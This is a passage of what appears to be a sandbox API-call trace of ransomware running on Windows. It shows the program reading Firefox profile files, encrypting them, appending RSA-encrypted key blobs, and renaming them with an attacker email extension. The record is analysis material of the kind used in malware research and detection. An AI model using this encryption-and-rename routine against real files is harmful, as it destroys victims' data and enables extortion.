pszString="wI6Y17VnjmX3R8QT8TT8z0ovMorqSFhoX+v+E5WxDbF/lTW+RFt5VARMXzjYiVDv\nrUm7Da+r/xcFkVBv3KanzrIrIxc8MKrnTy71a+VfmFGoslD3zCIme1rsg5HZD4GZ\nxTACovsI7jJXtFmM7olKAVNtd6FqomPVvtgxMbAsldN1vPwCKQYSLg+z057tslpj\nn6tBOTXt5AW7X4wXSBsJq8wyWJqlaNpsTSpgHARx8tN+y0vgz5wjjYn7KhOhEset\nSzxID+GkMiC12OVydRfuDQ77G7V08tUmeD8a3KVuwgXmAu/oUKJV5urRBS1W/SCW\n/Lnawr0APZcCbAS6MFiQKg==\n", pcchString=0x2e3f9a8) returned 1 [0242.412] WriteFile (in: hFile=0x1a54, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0242.412] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0242.412] WriteFile (in: hFile=0x1a54, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0242.413] CloseHandle (hObject=0x1a54) returned 1 [0242.413] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\except-flashinfobar-digest256.sbstore" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\except-flashinfobar-digest256.sbstore"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\except-flashinfobar-digest256.sbstore.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\except-flashinfobar-digest256.sbstore.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0242.414] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0242.415] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\except-flashinfobar-digest256.pset", dwFileAttributes=0x80) returned 1 [0242.415] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\except-flashinfobar-digest256.pset" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\except-flashinfobar-digest256.pset"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a54 [0242.416] GetFileSizeEx (in: hFile=0x1a54, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=16) returned 1 [0242.416] ReadFile (in: hFile=0x1a54, lpBuffer=0x2e40648, nNumberOfBytesToRead=0x10, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e40648*, lpNumberOfBytesRead=0x2e3f9b4*=0x10, lpOverlapped=0x0) returned 1 [0242.417] SetFilePointer (in: hFile=0x1a54, lDistanceToMove=-16, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0242.417] WriteFile (in: hFile=0x1a54, lpBuffer=0x2e40528*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e40528*, lpNumberOfBytesWritten=0x2e3f9b4*=0x10, lpOverlapped=0x0) returned 1 [0242.417] SetFilePointer (in: hFile=0x1a54, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x10 [0242.417] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0242.417] WriteFile (in: hFile=0x1a54, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0242.417] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0242.417] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0242.417] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0242.417] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="9MNL5db6926aqQjbxhNAx6tbtNoDsOs63iHNnogtZov+MSC0CpsykhZhHExxHD5o\nrUvF4S03LGmcjEjn9T9w47ju53G4lM1AXI9E+JgvzDrNLfMd77YmVjrQAG/QxAag\ng1dJe7yWohEBwghoCo6xe8hR2FOSpMaPEefPMd7AYGWkaDpQY+e0s3TmGT4UhHVs\n5EPTN+ji353T29TWjyjMNPw+vtXAXtGFXEknBPh/Q04PBO2Y+sbhsQgl7DEI+Pn4\nYF8BAicfugGRds6pBGMVGVc/AJ6eJi39k6nOvbEzztu5aIPjj0EGGaN8yVftFklG\n7yPRH896RB6PwVegSiN2Xg==\n", pcchString=0x2e3f9a8) returned 1 [0242.417] WriteFile (in: hFile=0x1a54, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0242.417] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0242.417] WriteFile (in: hFile=0x1a54, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0242.418] CloseHandle (hObject=0x1a54) returned 1 [0242.418] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\except-flashinfobar-digest256.pset" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\except-flashinfobar-digest256.pset"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\except-flashinfobar-digest256.pset.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\except-flashinfobar-digest256.pset.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0242.419] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0242.419] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\except-flashallow-digest256.sbstore", dwFileAttributes=0x80) returned 1 [0242.420] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\except-flashallow-digest256.sbstore" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\except-flashallow-digest256.sbstore"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a54 [0242.420] GetFileSizeEx (in: hFile=0x1a54, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=232) returned 1 [0242.420] ReadFile (in: hFile=0x1a54, lpBuffer=0x5a37b8, nNumberOfBytesToRead=0xe8, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a37b8*, lpNumberOfBytesRead=0x2e3f9b4*=0xe8, lpOverlapped=0x0) returned 1 [0242.421] SetFilePointer (in: hFile=0x1a54, lDistanceToMove=-232, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0242.421] WriteFile (in: hFile=0x1a54, lpBuffer=0x57ede0*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x57ede0*, lpNumberOfBytesWritten=0x2e3f9b4*=0xe8, lpOverlapped=0x0) returned 1 [0242.421] SetFilePointer (in: hFile=0x1a54, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xe8 [0242.421] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0242.421] WriteFile (in: hFile=0x1a54, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0242.421] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0242.421] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0242.421] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0242.421] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="94PuWwI7tqnbVDpGG3scemaqW5AZAU6TffVd+rWYEV/0ZeRbrSmKt9jc6uk8qZNi\ncffMXOg+uXXV3/zK/6RBMkGW6UvSnrFx7moUrdggjP/DQBS3yTzjuobV75DwggBj\n2R9+UPgnz1h4q+d4eGC9mpSoz3c5mbYM5jHEktaeN8Jd1KDde2QLvA4L90l49cqw\nqAeg8+b139El5ALDOu4Vw4maGKE2pbuVUopz0mSq2s2WcNWPrq3OT+I+1OZV1DAL\n1oNwbX60ie4Y3+3DKupMXR2vdep0TMjj5LfHboViyo+JOWvuQKO7g0V8Vl18sJSr\nk0R1THf5CyMwW1cdLJoUmw==\n", pcchString=0x2e3f9a8) returned 1 [0242.421] WriteFile (in: hFile=0x1a54, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0242.422] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0242.422] WriteFile (in: hFile=0x1a54, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0242.422] CloseHandle (hObject=0x1a54) returned 1 [0242.422] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\except-flashallow-digest256.sbstore" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\except-flashallow-digest256.sbstore"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\except-flashallow-digest256.sbstore.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\except-flashallow-digest256.sbstore.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0242.425] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0242.425] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\except-flashallow-digest256.pset", dwFileAttributes=0x80) returned 1 [0242.425] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\except-flashallow-digest256.pset" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\except-flashallow-digest256.pset"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a54 [0242.426] GetFileSizeEx (in: hFile=0x1a54, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=16) returned 1 [0242.426] ReadFile (in: hFile=0x1a54, lpBuffer=0x2e40630, nNumberOfBytesToRead=0x10, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e40630*, lpNumberOfBytesRead=0x2e3f9b4*=0x10, lpOverlapped=0x0) returned 1 [0242.426] SetFilePointer (in: hFile=0x1a54, lDistanceToMove=-16, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0242.426] WriteFile (in: hFile=0x1a54, lpBuffer=0x2e40450*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e40450*, lpNumberOfBytesWritten=0x2e3f9b4*=0x10, lpOverlapped=0x0) returned 1 [0242.426] SetFilePointer (in: hFile=0x1a54, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x10 [0242.427] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0242.427] WriteFile (in: hFile=0x1a54, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0242.427] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0242.427] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0242.427] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0242.427] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="0TVpJkNtTxluJaZ4zXf45DgQefkGVpeyurp1Fb6HUnaiWGYaQIv3AQUyr5dsuZJD\n5zJeoAP/WLrD/GU2+t6Yl4dAy2Nu2WV/y5WR+Mq0GU3Tk14591YluQpa8VCjkxq6\n5882c+tWXGQwKMpoXOVMAcoo3cPvw+EQ7WbzKfaoq9HdB0oIlwPassZO19ZYHB4s\nC+nHH7pLaQXO4nJBSOpAnOVK3JR+bCnflleoF+OnBaapd3Fuvmx7Rouv2q87e6fE\ng0m/4Y7h4vbZd1K8TcNP2CAeokm5LKP5dbb7zfPO9P+qCozIf4ZC0MLcb3/HhfAm\nw0WzOwJqWR0oSUCMqyhQVA==\n", pcchString=0x2e3f9a8) returned 1 [0242.427] WriteFile (in: hFile=0x1a54, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0242.427] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0242.427] WriteFile (in: hFile=0x1a54, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0242.427] CloseHandle (hObject=0x1a54) returned 1 [0242.428] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\except-flashallow-digest256.pset" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\except-flashallow-digest256.pset"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\except-flashallow-digest256.pset.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\except-flashallow-digest256.pset.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0242.429] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0242.429] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\except-flash-digest256.sbstore", dwFileAttributes=0x80) returned 1 [0242.429] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\except-flash-digest256.sbstore" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\except-flash-digest256.sbstore"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a54 [0242.430] GetFileSizeEx (in: hFile=0x1a54, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=268) returned 1 [0242.430] ReadFile (in: hFile=0x1a54, lpBuffer=0x66a5b8, nNumberOfBytesToRead=0x10c, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66a5b8*, lpNumberOfBytesRead=0x2e3f9b4*=0x10c, lpOverlapped=0x0) returned 1 [0242.430] SetFilePointer (in: hFile=0x1a54, lDistanceToMove=-268, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0242.431] WriteFile (in: hFile=0x1a54, lpBuffer=0x66a7e8*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66a7e8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x10c, lpOverlapped=0x0) returned 1 [0242.431] SetFilePointer (in: hFile=0x1a54, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x10c [0242.431] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0242.431] WriteFile (in: hFile=0x1a54, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0242.431] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0242.431] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0242.431] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0242.431] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="F+EMShEJc2hQ1lk/UMB2DPqKMa13RYAL5+Pt3qRXngcKKnZlqtj09slP+dYjUuyO\nZF950up9LVUoSxa6ammAe5EHBietb/D8OZlb/2UjBAfnzcAaHscCllgjWLwoFXgH\nOmn1XRfcvU7qGguSgUbon2PQctGdpSw8u2EC59+dg7nbhBMMljI+NbLwczip9oTo\nX/UP6s3xiXuC1+Jn+4s0yBpG41bVLqBpnGIlk56SBIL0c3klRxx/pIlgOMdZUIr7\ntc1S896FB7GRHxL2z/ux0Pq8d9HEJcHy+zggUXAfoWJ/4tzrXs6udTCuyc/1yxHq\nYPiowTX51FIUtGZQN6ZjFg==\n", pcchString=0x2e3f9a8) returned 1 [0242.431] WriteFile (in: hFile=0x1a54, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0242.432] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0242.432] WriteFile (in: hFile=0x1a54, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0242.432] CloseHandle (hObject=0x1a54) returned 1 [0242.432] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\except-flash-digest256.sbstore" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\except-flash-digest256.sbstore"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\except-flash-digest256.sbstore.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\except-flash-digest256.sbstore.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0242.434] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0242.434] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\except-flash-digest256.pset", dwFileAttributes=0x80) returned 1 [0242.434] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\safebrowsing\\except-flash-digest256.pset" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\safebrowsing\\except-flash-digest256.pset"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a54 [0242.435] GetFileSizeEx (in: hFile=0x1a54, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=16) returned 1 [0242.435] ReadFile (in: hFile=0x1a54, lpBuffer=0x2e40468, nNumberOfBytesToRead=0x10, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e40468*, lpNumberOfBytesRead=0x2e3f9b4*=0x10, lpOverlapped=0x0) returned 1 [0242.435] SetFilePointer (in: hFile=0x1a54, lDistanceToMove=-16, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0242.435] WriteFile (in: hFile=0x1a54, lpBuffer=0x2e403c0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e403c0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x10, lpOverlapped=0x0) returned 1 [0242.436] SetFilePointer (in: hFile=0x1a54, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x10 [0242.436] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0242.436] WriteFile (in: hFile=0x1a54, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0242.436] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0242.436] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0242.436] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0242.436] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="rinUhMahzPGlylAHeuZWzAV8SA+r9QZ5meqEtH/0R5zGFQAAhFUcll4aib0cvEwy\nwK7cZCyJoq0qLFlbMbsoTVkjS/QDhOLVjDUC9Xw762LJImjXJAFCCuRDwPPSJe1M\np2IJmsd8b9SqCelJkDUjfej58+Ft8P4rXE1vde3tzoxEuEI2JieaqjwWRDwyBxy9\nDrdwT0PgQORv715AfkbzOzVK3GTzTNmxRPhZrWiW8zfqrlCsxiKnBHaWb4TeJKA/\nGk0mpeVsmZ/FFVXAgyWywUKYkW1cX/LEqQ6YIbiNvtBtlREpY6G5ErjdBXTsJOIh\n4TSYkdNYxUWE8ElG3RDvgw==\n", pcchString=0x2e3f9a8) returned 1 [0242.436] WriteFile (in: hFile=0x1a54, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0242.436] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0242.436] WriteFile (in: hFile=0x1a54, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, 